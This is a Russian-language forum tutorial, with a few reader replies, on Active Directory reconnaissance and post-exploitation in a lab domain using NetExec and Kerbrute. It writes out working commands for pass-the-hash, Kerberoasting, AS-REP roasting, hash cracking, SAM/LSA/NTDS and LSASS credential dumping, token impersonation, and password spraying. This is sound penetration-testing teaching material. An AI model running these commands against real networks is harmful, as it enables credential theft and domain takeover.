Статья Сбор информации и пост эксплуатация в Active Directory

Добрый день друзья!

1715878559318.png


В данной статье разберем способы сбора информации и пост эксплуатации используя 2 замечательных инструмента

NetExec (nxc) - GitHub - Pennyw0rth/NetExec: The Network Execution Tool
Kerbrute - GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing

nxc является форком и продолжением утилиты crackmapexec

Оба инструмента отлично работают как в Linux так и в Windows системах
Покажу на примере Kali Linux, начнем с установки nxc:
Bash:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Проверяем командой - nxc -h

1715862896388.png


NetExec поддерживает все основные и необходимые нам протоколы:

mssql - СУБД Порт: 1433
winrm - Windows Remote Management (протокол удалённого управления, который использует SOAP) Порт: 5985, 5986
vnc - Virtual Network Computing (позволяет подключаться к удалённому раб. столу) Порт: 5900
ftp - File Transfer Protocol (позволяет осуществлять передачу файлов) Порт: 21
rdp - Remote Desktop Protocol (стандартный для Windows протокол подключения к удаленному раб. столу) Порт: 3389
ssh - Secure Shell (удаленное управление ОС) Порт: 22
ldap - Lightweight Directory Access Protocol (быстрый доступ к каталогам) Порт: 389, 636
wmi - Windows Management Instrumentation (централизованное управление и сбор информации WIndows инфраструктуры) Порт: 135
smb - Server Message Block (позволяет осуществлять доступ к различным сетевым ресурсам, файлы, диски, принтеры и т.д.) Порт: 445

1715865453115.png


Указаны стандартные порты данных протоколов
Для демонстрации различных техник создал в лаборатории 3х пользователей:

low_priv - входит в стандартную группу "Пользователи домена/Domain Users"
mid_priv - входит в разные непривилегированные группы (winrm, smb)
high_priv - входит в группу "Администраторы/Administrators"

Начнем с протокола LDAP

Имея учетные данные любого пользователя домена (low_priv) сможем выяснить достаточно полезной информации
Посмотреть справку по команде можно следующим образом - nxc ldap -h

Стандартная команда выглядит так - nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123'

Указываем протокол, цель, домен и учетные данные пользователя

Тут остановимся чуть подробнее
Цель можно указывать в формате IP адрес, dns имя, сеть 192.168.1.0/24 или передать текстовой файл со списком серверов (можно указывать имена хостов предварительно сделав запись в файле hosts)

Учетные данные можно указывать в различных форматах, например хеш пароля (-H) пользователя или используя полученный билет (-k --use-kcache), подробно про билеты в след раз

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd'

1715868322481.png


Если видим плюсик, значит данные верны и можем начинать сбор информации
В nxc для этого используются глобальные опции --users --groups

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --users

1715868635192.png


Получили список всех пользователей домена

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --groups

1715868739681.png


Список всех групп

Почти у каждого протокола в nxc есть различные модули, смотрим командой - nxc ldap -L

1715869304552.png


Для подключения модуля используется флаг -M module_name
Можно указать сразу несколько через пробел и с флагом -M

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' -M whoami -M user-desc

Подключил 2 модуля, информация о нас и сбор описаний всех пользователей

1715869463140.png


В реальных условиях мы вряд ли найдем что то интересное в описаниях, однако в тасках на различных платформах часто можно найти полезную информацию

Крайне полезным является встроенный коллектор bloodhound

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' --bloodhound -ns 192.168.1.36 -c All

1715869928268.png


Закидываем полученные json файлы в BH и спокойно анализируем

1715870103079.png


1715870221904.png


Прежде чем перейти к следующему протоколу, расскажу о еще 2х полезных функциях - --kerberoasting --asreproast

nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --asreproast hashes.txt
nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --kerberoasting hashes.txt

1715871102322.png


Получили хеши которые можно отправить john'у или в hashcat и возможно получится сбрутить пароль

В hashcat указываем - 18200 Kerberos 5, etype 23, AS-REP для ASREP хеша

hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

И 13100 [Kerberos 5, etype 23, TGS-REP] для Kerberos TGS-REP хеша

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Переходим к протоколу winrm

Модулей нет, зато есть интересные и крайне удобные функции
Основные флаги идентичны для разных протоколов (-u -p -d -H и т.д.)
Посмотрим различия между пользователями

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123'

1715872334078.png


Внимательные читатели заметили что в выводе кое что изменилось - [+] codeby.cdb\mid_priv:Task123 (Pwn3d!)
Если увидели заветное Pwn3d! то учетные данные не просто верны, а мы непосредственно можем взаимодействовать с данной службой
Детально посмотрим некоторые из функций

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' --sam
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --sam

1715872730634.png


Как видим, можем без проблем подключиться к службе используя evil-winrm, однако сдампить SAM файл не хватило прав, в отличие от high_priv пользователя
Получили хеши учетных записей

1715873042502.png


Аналогично LSA - nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --lsa

1715873166438.png


Флаги -x -X позволят выполнить команду в cmd и powershell соответственно

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' -X 'dir C:\'

1715873338248.png


SMB протокол
Огромное количество различных модулей

nxc smb -L

1715873596386.png


1715873640877.png


Глобальная опция --shares, покажет список доступных сетевых ресурсов и права на чтение/запись

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --shares

1715873898239.png


Если сервер является контроллером домена, сможем сдампить хеши всех пользователей домена

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --ntds

С этой функцией аккуратнее, если домен большой и пользователей много, что то может пойти не так :)

1715874255361.png


У некоторых продвинутых модулей есть дополнительные опции
Список опций модуля - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate --options

1715874941500.png


Теперь выведем список возможных токенов - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate

И попробуем имперсонировать (олицетворение) - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate -o TOKEN=0 EXEC=whoami
Указали ID токена и команду для выполнения (key=value)

1715875151581.png


Успех! Выполнили whoami от имени codeby\exited3n

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M nanodump

1715876306817.png


Забрали lsass.exe и получили пасс в открытом виде
Другие модули по аналогии, предлагаю поиграться в качестве дз :)

rdp, vnc, ftp, ssh - модулей нет, особо интересного тоже, флаги стандартные, можно проверять учетные данные

Коротко о mssql

nxc mssql -u user -p password --local-auth 192.168.2.14 -M mssql_priv

Настроена локальная аутентификация, поэтому убрали домен и добавили флаг --local-auth

1715877226778.png


Теперь по поводу перечисления, брутфорсу пользователей и пароля (password spraying)
nxc умеет все это делать, однако делает это медленно

Примеры команд:
Не знаем ни пользователя, ни пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p passes.txt --continue-on-success
Добавил флаг --continue-on-success при успехе продолжит брутфорс

1715877575304.png


Знаем пользователя, не знаем пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u high_priv -p passes.txt --continue-on-success

1715877677321.png


Не знаем пользователя, знаем пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p 'Task123' --continue-on-success

1715877762373.png


Для данных целей я использую другой инструмент - kerbrute

Установка:
Bash:
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/bin/kerbrute

Перечисление пользователей - kerbrute userenum users.txt -d codeby.cdb --dc 192.168.1.36

1715878117682.png


1715878147700.png


Брутфорс пользователя - kerbrute bruteuser -d codeby.cdb --dc 192.168.1.36 passes.txt mid_priv

1715878251411.png


Спрей пароля - kerbrute passwordspray -d codeby.cdb --dc 192.168.1.36 users.txt Task123

1715878324577.png


Написано специально для Codeby.net
Потренироваться и решить AD таски можно на площадке Codeby.games
Мой канал в подписи

За сием прощаюсь, до новых встреч!
 

Вложения

  • 1715877753455.png
    1715877753455.png
    28 КБ · Просмотры: 98
Последнее редактирование:

mcfly

Green Team
08.09.2016
644
632
BIT
422
Отличная статья! Как раз искал гайд по netexec интересные модули в форке.
 
  • Нравится
Реакции: Exited3n

QAQA

Green Team
11.06.2024
10
1
BIT
39
Какие сканеры использовать на больших сетях? Заметил такую проблему: при сканировании сети мячиком на хорошо настроенных сетях ложатся хосты. Как избежать подобной ситуации?
 

Exited3n

Red Team
10.05.2022
717
259
BIT
632
Какие сканеры использовать на больших сетях? Заметил такую проблему: при сканировании сети мячиком на хорошо настроенных сетях ложатся хосты. Как избежать подобной ситуации?
Не имеет отношения к статье, это уже по сетям.
Что такое мячик я не знаю
Сканировать nmap'ом
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!